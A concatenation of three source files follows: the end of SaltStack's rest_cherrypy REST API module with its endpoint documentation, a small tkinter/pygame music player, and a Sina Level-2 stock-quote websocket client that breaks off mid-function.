'{ "username": "saltdev", "password": "saltdev", "eauth": "auto" }' **Example response:** .. code-block:: text HTTP/1.1 200 OK Content-Type: application/json [{ "start": 1494987445.528182, "token": "e72ca1655d05...", "expire": 1495030645.528183, "name": "saltdev", "eauth": "auto" }] ''' for creds in cherrypy.request.lowstate: try: creds.update({ 'client': 'runner', 'fun': 'auth.mk_token', 'kwarg': { 'username': creds['username'], 'password': creds['password'], 'eauth': creds['eauth'], }, }) except KeyError: raise cherrypy.HTTPError(400, 'Require "username", "password", and "eauth" params') return list(self.exec_lowstate()) class Run(LowDataAdapter): ''' Run commands bypassing the :ref:`normal session handling <rest_cherrypy-auth>` salt-api does not enforce authorization, Salt's eauth system does that. Local/Runner/WheelClient all accept ``username``/``password``/``eauth`` **or** ``token`` kwargs that are then checked by the eauth system. The session mechanism in ``rest_cherrypy`` simply pairs a session with a Salt eauth token and then passes the ``token`` kwarg in automatically. If you already have a Salt eauth token, perhaps generated by the :py:func:`mk_token <salt.runners.auth.mk_token>` function in the Auth Runner module, then there is no reason to use sessions. This endpoint accepts either a ``username``, ``password``, ``eauth`` trio, **or** a ``token`` kwarg and does not make use of sessions at all. ''' _cp_config = dict(LowDataAdapter._cp_config, **{ 'tools.sessions.on': False, }) def POST(self, **kwargs): ''' Run commands bypassing the :ref:`normal session handling <rest_cherrypy-auth>` Other than that this URL is identical to the :py:meth:`root URL (/) <LowDataAdapter.POST>`. .. http:post:: /run An array of lowstate data describing Salt commands must be sent in the request body. :status 200: |200| :status 400: |400| :status 401: |401| :status 406: |406| **Example request:** .. code-block:: bash curl -sS localhost:8000/run \\ -H 'Accept: application/x-yaml' \\ -H 'Content-type: application/json' \\ -d '[{ "client": "local", "tgt": "*", "fun": "test.ping", "username": "saltdev", "password": "saltdev", "eauth": "auto" }]' **Or** using a Salt Eauth token: .. code-block:: bash curl -sS localhost:8000/run \\ -H 'Accept: application/x-yaml' \\ -H 'Content-type: application/json' \\ -d '[{ "client": "local", "tgt": "*", "fun": "test.ping", "token": "<salt eauth token here>" }]' .. code-block:: text POST /run HTTP/1.1 Host: localhost:8000 Accept: application/x-yaml Content-Length: 75 Content-Type: application/json [{"client": "local", "tgt": "*", "fun": "test.ping", "username": "saltdev", "password": "saltdev", "eauth": "auto"}] **Example response:** .. code-block:: text HTTP/1.1 200 OK Content-Length: 73 Content-Type: application/x-yaml return: - ms-0: true ms-1: true ms-2: true ms-3: true ms-4: true The /run enpoint can also be used to issue commands using the salt-ssh subsystem. When using salt-ssh, eauth credentials should not be supplied. Instead, authentication should be handled by the SSH layer itself. The use of the salt-ssh client does not require a salt master to be running. Instead, only a roster file must be present in the salt configuration directory. All SSH client requests are synchronous. **Example SSH client request:** .. code-block:: bash curl -sS localhost:8000/run \\ -H 'Accept: application/x-yaml' \\ -d client='ssh' \\ -d tgt='*' \\ -d fun='test.ping' .. code-block:: text POST /run HTTP/1.1 Host: localhost:8000 Accept: application/x-yaml Content-Length: 75 Content-Type: application/x-www-form-urlencoded client=ssh&tgt=*&fun=test.ping **Example SSH response:** .. code-block:: text return: - silver: fun: test.ping fun_args: [] id: silver jid: '20141203103525666185' retcode: 0 return: true success: true ''' return { 'return': list(self.exec_lowstate()), } class Events(object): ''' Expose the Salt event bus The event bus on the Salt master exposes a large variety of things, notably when executions are started on the master and also when minions ultimately return their results. This URL provides a real-time window into a running Salt infrastructure. .. seealso:: :ref:`events` ''' exposed = True _cp_config = dict(LowDataAdapter._cp_config, **{ 'response.stream': True, 'tools.encode.encoding': 'utf-8', # Auth handled manually below 'tools.salt_auth.on': False, 'tools.hypermedia_in.on': False, 'tools.hypermedia_out.on': False, }) def __init__(self): self.opts = cherrypy.config['saltopts'] self.resolver = salt.auth.Resolver(self.opts) def _is_valid_token(self, auth_token): ''' Check if this is a valid salt-api token or valid Salt token salt-api tokens are regular session tokens that tie back to a real Salt token. Salt tokens are tokens generated by Salt's eauth system. :return bool: True if valid, False if not valid. ''' # Make sure that auth token is hex. If it's None, or something other # than hex, this will raise a ValueError. try: int(auth_token, 16) except (TypeError, ValueError): return False # First check if the given token is in our session table; if so it's a # salt-api token and we need to get the Salt token from there. orig_session, _ = cherrypy.session.cache.get(auth_token, ({}, None)) # If it's not in the session table, assume it's a regular Salt token. salt_token = orig_session.get('token', auth_token) # The eauth system does not currently support perms for the event # stream, so we're just checking if the token exists not if the token # allows access. if salt_token and self.resolver.get_token(salt_token): return True return False def GET(self, token=None, salt_token=None): r''' An HTTP stream of the Salt master event bus This stream is formatted per the Server Sent Events (SSE) spec. Each event is formatted as JSON. .. http:get:: /events :status 200: |200| :status 401: |401| :status 406: |406| :query token: **optional** parameter containing the token ordinarily supplied via the X-Auth-Token header in order to allow cross-domain requests in browsers that do not include CORS support in the EventSource API. E.g., ``curl -NsS localhost:8000/events?token=308650d`` :query salt_token: **optional** parameter containing a raw Salt *eauth token* (not to be confused with the token returned from the /login URL). E.g., ``curl -NsS localhost:8000/events?salt_token=30742765`` **Example request:** .. code-block:: bash curl -NsS localhost:8000/events .. code-block:: text GET /events HTTP/1.1 Host: localhost:8000 **Example response:** Note, the ``tag`` field is not part of the spec. SSE compliant clients should ignore unknown fields. This addition allows non-compliant clients to only watch for certain tags without having to deserialze the JSON object each time. .. code-block:: text HTTP/1.1 200 OK Connection: keep-alive Cache-Control: no-cache Content-Type: text/event-stream;charset=utf-8 retry: 400 tag: salt/job/20130802115730568475/new data: {'tag': 'salt/job/20130802115730568475/new', 'data': {'minions': ['ms-4', 'ms-3', 'ms-2', 'ms-1', 'ms-0']}} tag: salt/job/20130802115730568475/ret/jerry data: {'tag': 'salt/job/20130802115730568475/ret/jerry', 'data': {'jid': '20130802115730568475', 'return': True, 'retcode': 0, 'success': True, 'cmd': '_return', 'fun': 'test.ping', 'id': 'ms-1'}} The event stream can be easily consumed via JavaScript: .. code-block:: javascript var source = new EventSource('/events'); source.onopen = function() { console.info('Listening ...') }; source.onerror = function(err) { console.error(err) }; source.onmessage = function(message) { var saltEvent = JSON.parse(message.data); console.log(saltEvent.tag, saltEvent.data); }; Note, the SSE stream is fast and completely asynchronous and Salt is very fast. If a job is created using a regular POST request, it is possible that the job return will be available on the SSE stream before the response for the POST request arrives. It is important to take that asynchronicity into account when designing an application. Below are some general guidelines. * Subscribe to the SSE stream _before_ creating any events. * Process SSE events directly as they arrive and don't wait for any other process to "complete" first (like an ajax request). * Keep a buffer of events if the event stream must be used for synchronous lookups. * Be cautious in writing Salt's event stream directly to the DOM. It is very busy and can quickly overwhelm the memory allocated to a browser tab. A full, working proof-of-concept JavaScript application is available :blob:`adjacent to this file <salt/netapi/rest_cherrypy/index.html>`. It can be viewed by pointing a browser at the ``/app`` endpoint in a running ``rest_cherrypy`` instance. Or using CORS: .. code-block:: javascript var source = new EventSource('/events?token=ecd589e4e01912cf3c4035afad73426dbb8dba75', {withCredentials: true}); It is also possible to consume the stream via the shell. Records are separated by blank lines; the ``data:`` and ``tag:`` prefixes will need to be removed manually before attempting to unserialize the JSON. curl's ``-N`` flag turns off input buffering which is required to process the stream incrementally. Here is a basic example of printing each event as it comes in: .. code-block:: bash curl -NsS localhost:8000/events |\ while IFS= read -r line ; do echo $line done Here is an example of using awk to filter events based on tag: .. code-block:: bash curl -NsS localhost:8000/events |\ awk ' BEGIN { RS=""; FS="\\n" } $1 ~ /^tag: salt\/job\/[0-9]+\/new$/ { print $0 } ' tag: salt/job/20140112010149808995/new data: {"tag": "salt/job/20140112010149808995/new", "data": {"tgt_type": "glob", "jid": "20140112010149808995", "tgt": "jerry", "_stamp": "2014-01-12_01:01:49.809617", "user": "shouse", "arg": [], "fun": "test.ping", "minions": ["jerry"]}} tag: 20140112010149808995 data: {"tag": "20140112010149808995", "data": {"fun_args": [], "jid": "20140112010149808995", "return": true, "retcode": 0, "success": true, "cmd": "_return", "_stamp": "2014-01-12_01:01:49.819316", "fun": "test.ping", "id": "jerry"}} ''' cookies = cherrypy.request.cookie auth_token = token or salt_token or ( cookies['session_id'].value if 'session_id' in cookies else None) if not self._is_valid_token(auth_token): raise cherrypy.HTTPError(401) # Release the session lock before starting the long-running response cherrypy.session.release_lock() cherrypy.response.headers['Content-Type'] = 'text/event-stream' cherrypy.response.headers['Cache-Control'] = 'no-cache' cherrypy.response.headers['Connection'] = 'keep-alive' def listen(): ''' An iterator to yield Salt events ''' event = salt.utils.event.get_event( 'master', sock_dir=self.opts['sock_dir'], transport=self.opts['transport'], opts=self.opts, listen=True) stream = event.iter_events(full=True, auto_reconnect=True) yield str('retry: 400\n') # future lint: disable=blacklisted-function while True: data = next(stream) yield str('tag: {0}\n').format(data.get('tag', '')) # future lint: disable=blacklisted-function yield str('data: {0}\n\n').format(salt.utils.json.dumps(data)) # future lint: disable=blacklisted-function return listen() class WebsocketEndpoint(object): ''' Open a WebSocket connection to Salt's event bus The event bus on the Salt master exposes a large variety of things, notably when executions are started on the master and also when minions ultimately return their results. This URL provides a real-time window into a running Salt infrastructure. Uses websocket as the transport mechanism. .. seealso:: :ref:`events` ''' exposed = True _cp_config = dict(LowDataAdapter._cp_config, **{ 'response.stream': True, 'tools.encode.encoding': 'utf-8', # Auth handled manually below 'tools.salt_auth.on': False, 'tools.hypermedia_in.on': False, 'tools.hypermedia_out.on': False, 'tools.websocket.on': True, 'tools.websocket.handler_cls': websockets.SynchronizingWebsocket, }) def __init__(self): self.opts = cherrypy.config['saltopts'] self.auth = salt.auth.LoadAuth(self.opts) def GET(self, token=None, **kwargs): ''' Return a websocket connection of Salt's event stream .. http:get:: /ws/(token) :query format_events: The event stream will undergo server-side formatting if the ``format_events`` URL parameter is included in the request. This can be useful to avoid formatting on the client-side: .. code-block:: bash curl -NsS <...snip...> localhost:8000/ws?format_events :reqheader X-Auth-Token: an authentication token from :py:class:`~Login`. :status 101: switching to the websockets protocol :status 401: |401| :status 406: |406| **Example request:** :: curl -NsSk \\ -H 'X-Auth-Token: ffedf49d' \\ -H 'Host: localhost:8000' \\ -H 'Connection: Upgrade' \\ -H 'Upgrade: websocket' \\ -H 'Origin: https://localhost:8000' \\ -H 'Sec-WebSocket-Version: 13' \\ -H 'Sec-WebSocket-Key: '"$(echo -n $RANDOM | base64)" \\ localhost:8000/ws .. code-block:: text GET /ws HTTP/1.1 Connection: Upgrade Upgrade: websocket Host: localhost:8000 Origin: https://localhost:8000 Sec-WebSocket-Version: 13 Sec-WebSocket-Key: s65VsgHigh7v/Jcf4nXHnA== X-Auth-Token: ffedf49d **Example response**: .. code-block:: text HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: mWZjBV9FCglzn1rIKJAxrTFlnJE= Sec-WebSocket-Version: 13 An authentication token **may optionally** be passed as part of the URL for browsers that cannot be configured to send the authentication header or cookie: .. code-block:: bash curl -NsS <...snip...> localhost:8000/ws/ffedf49d The event stream can be easily consumed via JavaScript: .. code-block:: javascript // Note, you must be authenticated! var source = new Websocket('ws://localhost:8000/ws/d0ce6c1a'); source.onerror = function(e) { console.debug('error!', e); }; source.onmessage = function(e) { console.debug(e.data); }; source.send('websocket client ready') source.close(); Or via Python, using the Python module `websocket-client <https://pypi.python.org/pypi/websocket-client/>`_ for example. .. code-block:: python # Note, you must be authenticated! from websocket import create_connection ws = create_connection('ws://localhost:8000/ws/d0ce6c1a') ws.send('websocket client ready') # Look at https://pypi.python.org/pypi/websocket-client/ for more # examples. while listening_to_events: print ws.recv() ws.close() Above examples show how to establish a websocket connection to Salt and activating real time updates from Salt's event stream by signaling ``websocket client ready``. ''' # Pulling the session token from an URL param is a workaround for # browsers not supporting CORS in the EventSource API. if token: orig_session, _ = cherrypy.session.cache.get(token, ({}, None)) salt_token = orig_session.get('token') else: salt_token = cherrypy.session.get('token') # Manually verify the token if not salt_token or not self.auth.get_tok(salt_token): raise cherrypy.HTTPError(401) # Release the session lock before starting the long-running response cherrypy.session.release_lock() # A handler is the server side end of the websocket connection. Each # request spawns a new instance of this handler handler = cherrypy.request.ws_handler def event_stream(handler, pipe): ''' An iterator to return Salt events (and optionally format them) ''' # blocks until send is called on the parent end of this pipe. pipe.recv() event = salt.utils.event.get_event( 'master', sock_dir=self.opts['sock_dir'], transport=self.opts['transport'], opts=self.opts, listen=True) stream = event.iter_events(full=True, auto_reconnect=True) SaltInfo = event_processor.SaltInfo(handler) def signal_handler(signal, frame): os._exit(0) signal.signal(signal.SIGTERM, signal_handler) while True: data = next(stream) if data: try: # work around try to decode catch unicode errors if 'format_events' in kwargs: SaltInfo.process(data, salt_token, self.opts) else: handler.send( str('data: {0}\n\n').format(salt.utils.json.dumps(data)), # future lint: disable=blacklisted-function False ) except UnicodeDecodeError: logger.error( "Error: Salt event has non UTF-8 data:\n{0}" .format(data)) parent_pipe, child_pipe = Pipe() handler.pipe = parent_pipe handler.opts = self.opts # Process to handle asynchronous push to a client. # Each GET request causes a process to be kicked off. proc = Process(target=event_stream, args=(handler, child_pipe)) proc.start() class Webhook(object): ''' A generic web hook entry point that fires an event on Salt's event bus External services can POST data to this URL to trigger an event in Salt. For example, Amazon SNS, Jenkins-CI or Travis-CI, or GitHub web hooks. .. note:: Be mindful of security Salt's Reactor can run any code. A Reactor SLS that responds to a hook event is responsible for validating that the event came from a trusted source and contains valid data. **This is a generic interface and securing it is up to you!** This URL requires authentication however not all external services can be configured to authenticate. For this reason authentication can be selectively disabled for this URL. Follow best practices -- always use SSL, pass a secret key, configure the firewall to only allow traffic from a known source, etc. The event data is taken from the request body. The :mailheader:`Content-Type` header is respected for the payload. The event tag is prefixed with ``salt/netapi/hook`` and the URL path is appended to the end. For example, a ``POST`` request sent to ``/hook/mycompany/myapp/mydata`` will produce a Salt event with the tag ``salt/netapi/hook/mycompany/myapp/mydata``. The following is an example ``.travis.yml`` file to send notifications to Salt of successful test runs: .. code-block:: yaml language: python script: python -m unittest tests after_success: - | curl -sSk https://saltapi-url.example.com:8000/hook/travis/build/success \ -d branch="${TRAVIS_BRANCH}" \ -d commit="${TRAVIS_COMMIT}" .. seealso:: :ref:`events`, :ref:`reactor <reactor>` ''' exposed = True tag_base = ['salt', 'netapi', 'hook'] _cp_config = dict(LowDataAdapter._cp_config, **{ # Don't do any lowdata processing on the POST data 'tools.lowdata_fmt.on': True, # Auth can be overridden in __init__(). 'tools.salt_auth.on': True, }) def __init__(self): self.opts = cherrypy.config['saltopts'] self.event = salt.utils.event.get_event( 'master', sock_dir=self.opts['sock_dir'], transport=self.opts['transport'], opts=self.opts, listen=False) if cherrypy.config['apiopts'].get('webhook_disable_auth'): self._cp_config['tools.salt_auth.on'] = False def POST(self, *args, **kwargs): ''' Fire an event in Salt with a custom event tag and data .. http:post:: /hook :status 200: |200| :status 401: |401| :status 406: |406| :status 413: request body is too large **Example request:** .. code-block:: bash curl -sS localhost:8000/hook \\ -H 'Content-type: application/json' \\ -d '{"foo": "Foo!", "bar": "Bar!"}' .. code-block:: text POST /hook HTTP/1.1 Host: localhost:8000 Content-Length: 16 Content-Type: application/json {"foo": "Foo!", "bar": "Bar!"} **Example response**: .. code-block:: text HTTP/1.1 200 OK Content-Length: 14 Content-Type: application/json {"success": true} As a practical example, an internal continuous-integration build server could send an HTTP POST request to the URL ``https://localhost:8000/hook/mycompany/build/success`` which contains the result of a build and the SHA of the version that was built as JSON. That would then produce the following event in Salt that could be used to kick off a deployment via Salt's Reactor:: Event fired at Fri Feb 14 17:40:11 2014 ************************* Tag: salt/netapi/hook/mycompany/build/success Data: {'_stamp': '2014-02-14_17:40:11.440996', 'headers': { 'X-My-Secret-Key': 'F0fAgoQjIT@W', 'Content-Length': '37', 'Content-Type': 'application/json', 'Host': 'localhost:8000', 'Remote-Addr': '127.0.0.1'}, 'post': {'revision': 'aa22a3c4b2e7', 'result': True}} Salt's Reactor could listen for the event: .. code-block:: yaml reactor: - 'salt/netapi/hook/mycompany/build/*': - /srv/reactor/react_ci_builds.sls And finally deploy the new build: .. code-block:: jinja {% set secret_key = data.get('headers', {}).get('X-My-Secret-Key') %} {% set build = data.get('post', {}) %} {% if secret_key == 'F0fAgoQjIT@W' and build.result == True %} deploy_my_app: cmd.state.sls: - tgt: 'application*' - arg: - myapp.deploy - kwarg: pillar: revision: {{ revision }} {% endif %} ''' tag = '/'.join(itertools.chain(self.tag_base, args)) data = cherrypy.serving.request.unserialized_data if not data: data = {} raw_body = getattr(cherrypy.serving.request, 'raw_body', '') headers = dict(cherrypy.request.headers) ret = self.event.fire_event({ 'body': raw_body, 'post': data, 'headers': headers, }, tag) return {'success': ret} class Stats(object): ''' Expose statistics on the running CherryPy server ''' exposed = True _cp_config = dict(LowDataAdapter._cp_config, **{ 'tools.salt_auth.on': True, }) def __init__(self): if cherrypy.config['apiopts'].get('stats_disable_auth'): self._cp_config['tools.salt_auth.on'] = False def GET(self): ''' Return a dump of statistics collected from the CherryPy server .. http:get:: /stats :reqheader X-Auth-Token: |req_token| :reqheader Accept: |req_accept| :resheader Content-Type: |res_ct| :status 200: |200| :status 401: |401| :status 406: |406| ''' if hasattr(logging, 'statistics'): return cpstats.extrapolate_statistics(logging.statistics) return {} class App(object): ''' Class to serve HTML5 apps ''' exposed = True def GET(self, *args): ''' Serve a single static file ignoring the remaining path This is useful in combination with a browser-based app using the HTML5 history API. .. http::get:: /app :reqheader X-Auth-Token: |req_token| :status 200: |200| :status 401: |401| ''' apiopts = cherrypy.config['apiopts'] default_index = os.path.abspath(os.path.join( os.path.dirname(__file__), 'index.html')) return cherrypy.lib.static.serve_file( apiopts.get('app', default_index)) class API(object): ''' Collect configuration and URL map for building the CherryPy app ''' url_map = { 'index': LowDataAdapter, 'login': Login, 'logout': Logout, 'token': Token, 'minions': Minions, 'run': Run, 'jobs': Jobs, 'keys': Keys, 'events': Events, 'stats': Stats, } def _setattr_url_map(self): ''' Set an attribute on the local instance for each key/val in url_map CherryPy uses class attributes to resolve URLs. ''' if self.apiopts.get('enable_sessions', True) is False: url_blacklist = ['login', 'logout', 'minions', 'jobs'] else: url_blacklist = [] urls = ((url, cls) for url, cls in six.iteritems(self.url_map) if url not in url_blacklist) for url, cls in urls: setattr(self, url, cls()) def _update_url_map(self): ''' Assemble any dynamic or configurable URLs ''' if HAS_WEBSOCKETS: self.url_map.update({ 'ws': WebsocketEndpoint, }) # Allow the Webhook URL to be overridden from the conf. self.url_map.update({ self.apiopts.get('webhook_url', 'hook').lstrip('/'): Webhook, }) # Enable the single-page JS app URL. self.url_map.update({ self.apiopts.get('app_path', 'app').lstrip('/'): App, }) def __init__(self): self.opts = cherrypy.config['saltopts'] self.apiopts = cherrypy.config['apiopts'] self._update_url_map() self._setattr_url_map() def get_conf(self): ''' Combine the CherryPy configuration with the rest_cherrypy config values pulled from the master config and return the CherryPy configuration ''' conf = { 'global': { 'server.socket_host': self.apiopts.get('host', '0.0.0.0'), 'server.socket_port': self.apiopts.get('port', 8000), 'server.thread_pool': self.apiopts.get('thread_pool', 100), 'server.socket_queue_size': self.apiopts.get('queue_size', 30), 'max_request_body_size': self.apiopts.get( 'max_request_body_size', 1048576), 'debug': self.apiopts.get('debug', False), 'log.access_file': self.apiopts.get('log_access_file', ''), 'log.error_file': self.apiopts.get('log_error_file', ''), }, '/': { 'request.dispatch': cherrypy.dispatch.MethodDispatcher(), 'tools.trailing_slash.on': True, 'tools.gzip.on': True, 'tools.html_override.on': True, 'tools.cors_tool.on': True, }, } if salt.utils.versions.version_cmp(cherrypy.__version__, '12.0.0') < 0: # CherryPy >= 12.0 no longer supports "timeout_monitor", only set # this config option when using an older version of CherryPy. # See Issue #44601 for more information. conf['global']['engine.timeout_monitor.on'] = self.apiopts.get( 'expire_responses', True ) if cpstats and self.apiopts.get('collect_stats', False): conf['/']['tools.cpstats.on'] = True if 'favicon' in self.apiopts: conf['/favicon.ico'] = { 'tools.staticfile.on': True, 'tools.staticfile.filename': self.apiopts['favicon'], } if self.apiopts.get('debug', False) is False: conf['global']['environment'] = 'production' # Serve static media if the directory has been set in the configuration if 'static' in self.apiopts: conf[self.apiopts.get('static_path', '/static')] = { 'tools.staticdir.on': True, 'tools.staticdir.dir': self.apiopts['static'], } # Add to global config cherrypy.config.update(conf['global']) return conf def get_app(opts): ''' Returns a WSGI app and a configuration dictionary ''' apiopts = opts.get(__name__.rsplit('.', 2)[-2], {}) # rest_cherrypy opts # Add Salt and salt-api config options to the main CherryPy config dict cherrypy.config['saltopts'] = opts cherrypy.config['apiopts'] = apiopts root = API() # cherrypy app cpyopts = root.get_conf() # cherrypy app opts return root, apiopts, cpyopts
player.py
import os import tkinter from tkinter import Canvas,PhotoImage from PIL import Image, ImageTk # import tkinter.filedialog import time import random import threading import pygame import ctypes #高像素 #创建窗口,root可替换成自己定义的窗口 root =tkinter.Tk() #调用api设置成由应用程序缩放 ctypes.windll.shcore.SetProcessDpiAwareness(1) #调用api获得当前的缩放因子 ScaleFactor=ctypes.windll.shcore.GetScaleFactorForDevice(0) #设置缩放因子 root.tk.call('tk', 'scaling', ScaleFactor/80) # step 1: 搭建界面 # root =tkinter.Tk() root.attributes('-alpha',1) root.title('8.13音乐播放器') # 图标 root.iconbitmap('star.ico') # 窗口大小和位置 root.geometry('460x600+550+100') # 禁止拉伸 root.resizable(False,False) #设置背景图片 canvas = tkinter.Canvas(root, width=460, height=600, bd=0, highlightthickness=0) # imgpath = str(random.randint(1,3))+'.jpg' imgpath = '2.jpg' img = Image.open(imgpath) photo = ImageTk.PhotoImage(img) canvas.create_image(300, 306, image=photo) canvas.pack() folder = 'C:/Users/lenovo/Music' res = [] num = random.randint(0,13) #随机播放 # now_music = '' # 功能函数 def buttonaddClick(): global folder global res if folder: # folder = tkinter.filedialog.askdirectory() # 选择目录 musics = [folder +'/' + music for music in os.listdir(folder) if music.endswith('.mp3')] ret=[] for i in musics: ret.append(i.split('/')[-1][:-4])# 获取歌曲名 res.append(i) var2 = tkinter.StringVar() var2.set(ret) lb = tkinter.Listbox(root,listvariable=var2,background='SkyBlue') lb.place(x=80,y=120,width=260,height=260) global playing playing = True # 歌单导出,按键解除禁用状态 buttonPlay['state'] = 'normal' buttonStop['state'] = 'normal' pause_resume.set('播放') def play(): # if (len(res)): pygame.mixer.init() global num while playing: if not pygame.mixer.music.get_busy(): # 音乐播放完 nextMusic = res[num] print(nextMusic.split('/')[-1][:-4]) print(num) pygame.mixer.music.load(nextMusic.encode()) pygame.mixer.music.play(1) #播放 if len(res)-1==num: num=0 else: num=num+1 nextMusic = nextMusic.split('/')[-1][:-4] musicName.set('~~~'+nextMusic+'~~~') else: time.sleep(0.1) def buttonPlayClick(): global pause_resume,playing buttonPre['state'] = 'normal' buttonNext['state'] = 'normal' if pause_resume.get() == '播放': pause_resume.set('暂停') playing = True #增加一个线程播放音乐 t = threading.Thread(target=play) # play函数 t.start() elif pause_resume.get() == '暂停': playing = False #***** pygame.mixer.music.pause() pause_resume.set('继续') elif pause_resume.get() == '继续': playing = True pygame.mixer.music.unpause() pause_resume.set('暂停') def buttonStopClick(): global playing playing = False pygame.mixer.music.stop() def buttonPreClick(): global playing playing = False pygame.mixer.music.stop() global num if num == 0: num = len(res)-2 else: num-= 2 playing = True # 增加一个线程播放音乐 t = threading.Thread(target=play) # play函数 num+1 t.start() def buttonNextClick(): global playing playing = False pygame.mixer.music.stop() global num if len(res)-1== num: num=-1 playing = True # 增加一个线程播放音乐 t = threading.Thread(target=play) # play函数 num+1 t.start() def END(): try: pygame.mixer.music.stop() pygame.mixer.quit() except: pass global root root2.destroy() root.destroy() # 关闭窗口 def closeWindow(): global root2 # 退出界面 root2 = tkinter.Tk() root2.title('退出界面') root2.geometry('360x200+600+250') buttonStop = tkinter.Button(root2, text='确认关闭',fg = "red", bg = "blue",command=END) buttonStop.place(x=154, y=65, width=75, height=35) def contorlVoice(value=30): pygame.mixer.music.set_volume(value/100) # 关闭窗口 root.protocol('WM_DELETE_WINDOW',closeWindow) # 添加歌单按钮 buttonadd = tkinter.Button(root,text='添加',command=buttonaddClick,bg='SkyBlue') # 布局 buttonadd.place(x=80,y=10,width=50,height=20) # 跟踪变量 pause_resume= tkinter.StringVar(root,value='随播') # 可以更改 # 添加按钮 buttonPlay = tkinter.Button(root,textvariable=pause_resume,command=buttonPlayClick,bg='SkyBlue') buttonPlay.place(x=140,y=10,width=50,height=20) # 禁用状态 buttonPlay['state'] = 'disabled' # #停止 buttonStop = tkinter.Button(root,text='停止',command=buttonStopClick,bg='SkyBlue') buttonStop.place(x=190,y=10,width=50,height=20) buttonStop['state'] = 'disabled' # 下一首 buttonNext = tkinter.Button(root,text='下一首',command=buttonNextClick,bg='SkyBlue') buttonNext.place(x=260,y=10,width=50,height=20) buttonNext['state'] = 'disabled' # 上一首 buttonPre = tkinter.Button(root,text='上一首',command=buttonPreClick,bg='SkyBlue') buttonPre.place(x=310,y=10,width=50,height=20) buttonPre['state'] = 'disabled' musicName = tkinter.StringVar(root,value="暂时没有播放音乐...") #可以更改 labelName = tkinter.Label(root,textvariable=musicName,fg = "SeaGreen",bg='FloralWhite') labelName.place(x=80,y=33,width=279,height=20) # s=tkinter.Scale(root,label='',bg='FloralWhite',fg = "DeepSkyBlue",from_=0,to_=100,orient=tkinter.HORIZONTAL,length=290,showvalue=0,tickinterval=25,resolution=0.1,command=contorlVoice) s.place(x=80,y=52,width=279) root.mainloop()
SinaL2.py
# -*- coding: utf-8 -*- from . import util from .Sina.Sina import Sina from datetime import datetime from .connection import * import time import websockets import json import asyncio import threading import re import traceback class NotLoginError(Exception): def __init__(self): super().__init__() class SinaL2: def __init__( self, username=None, pwd=None, symbols=None, hq='hq_pjb', query=['quotation', 'transaction', "orders"], on_recv_data=None, # 收到数据以后的回调函数 use_logger=True, account="account/sina.json", **kwargs ): super().__init__(**kwargs) self.on_recv_data = on_recv_data # 回调函数 self.ip = util.get_client_ip() self.hq = hq self.query = query if use_logger: self.logger = util.get_logger(self.__class__.__name__) self.sina = Sina(account=account,login=True) self.is_login = False self.stopped = False self.terminated = False if symbols is None: self.symbols = self.sina.get_symbols() else: self.symbols = symbols self.websockets = dict() def login(self, verify=False): return self.sina.login(verify=verify) @asyncio.coroutine def get_ws_token(self, qlist): req = self.sina.session.get( URL_WSKT_TOKEN, params=PARAM_WSKT_TOKEN( ip=self.ip, qlist=qlist, hq=self.hq ), headers=HEADERS_WSKT_TOKEN(), timeout=5 ) response = re.findall(r'(\{.*\})', req.text)[0] response = json.loads( response .replace(',', ',"') .replace('{', '{"') .replace(':', '":') ) return response # 2cn_是3秒一条的Level2 10档行情 # 2cn_symbol_0,2cn_symbol_1是逐笔数据 # 2cn_symbol_orders是挂单数据 def generate_qlist(self, qlist, symbol): if 'quotation' in self.query: if qlist != '': qlist += ',' qlist += "2cn_%s" % (symbol) if 'orders' in self.query: if qlist != '': qlist += ',' qlist += "2cn_%s_orders" % (symbol) if 'transaction' in self.query: if qlist != '': qlist += ',' qlist += "2cn_%s_0,2cn_%s_1" % (symbol, symbol) if 'info' in self.query: if qlist != '': qlist += ',' qlist += "%s_i" % (symbol) return qlist @asyncio.coroutine def create_ws(self, qlist, symbol_list): retry = True while retry: try: response = yield from self.get_ws_token(qlist) if response["msg_code"] == 1: token = response["result"] self.logger.info( "成功获取到token, symbol_list = {}".format(symbol_list)) retry = False else: self.logger.warning("{},{}".format(response, qlist)) if response["msg_code"] == -1 or \ response["msg_code"] == -11: time.sleep(2) self.logger.warning("尝试重新登录新浪") self.sina.login(verify=False) except Exception as e: self.logger.warning(e) url_wss = 'wss://ff.sinajs.cn/wskt?token=' + token + '&list=' + qlist while True: # 建立websocket连接 try: ws = yield from websockets.connect(url_wss) self.websockets[symbol_list[0]] = dict() self.websockets[symbol_list[0]]["ws"] = ws self.websockets[symbol_list[0]]["qlist"] = qlist self.websockets[symbol_list[0]]["token"] = token self.websockets[symbol_list[0]]["renewed"] = datetime.now() self.websockets[symbol_list[0]]["trial_times"] = 0 self.logger.info( "成功建立ws连接, {}, symbol_list = {}".format( threading.current_thread().name, symbol_list ) ) break except Exception as e: self.logger.warning( "重试 websockets.connect , {}, symbol_list = {}" .format( threading.current_thread().name, symbol_list ) ) while not self.stopped: try: message = yield from ws.recv() if self.on_recv_data is None: print(message) else: self.on_recv_data(message) except Exception as e: # traceback.print_exc() self.logger.error( "{},{}" .format( e, threading.current_thread().name, ) ) ws.close() if not self.stopped: yield from self.create_ws(qlist=qlist, symbol_list=symbol_list) @asyncio.coroutine def renew_token(self, symbol): try: response = yield from self.get_ws_token( self.websockets[symbol]["qlist"] ) if response["msg_code"] == 1: token = response["result"] self.websockets[symbol]["token"] = token self.websockets[symbol]["renewed"] = datetime.now() yield from self.websockets[symbol]["ws"].send("*" + token) self.websockets[symbol]["trial_times"] = 0 else: self.websockets[symbol]["trial_times"] += 1 self.logger.info(response["result"]) except Exception as e: self.websockets[symbol]["trial_times"] += 1 self.logger.warning("token获取失败第{}次,待会儿重试".format( self.websockets[symbol]["trial_times"])) def websocket_creator(self): loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) # 首先从新浪获取股票列表 symbol_list = self.symbols # Cut symbol_list weight = (len(self.query) + 1) if ('transaction' in self.query) else len(self.query) step = int(64 / weight) symbol_list_slice = [ symbol_list[i: i + step] for i in range(0, len(symbol_list), step) ] tasks = list() for symbol_list in symbol_list_slice: qlist = '' for symbol in symbol_list: qlist = self.generate_qlist(qlist=qlist, symbol=symbol) qlist = qlist.lower() tasks.append(self.create_ws(qlist, symbol_list=symbol_list)) loop.run_until_complete(asyncio.wait(tasks)) loop.close() # 用于定时发送空字符串 def token_sender(self): while not self.stopped: self.logger.debug("开启话唠模式每55秒的定时与服务器聊天") start = datetime.now() tasks = list() loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) for symbol in 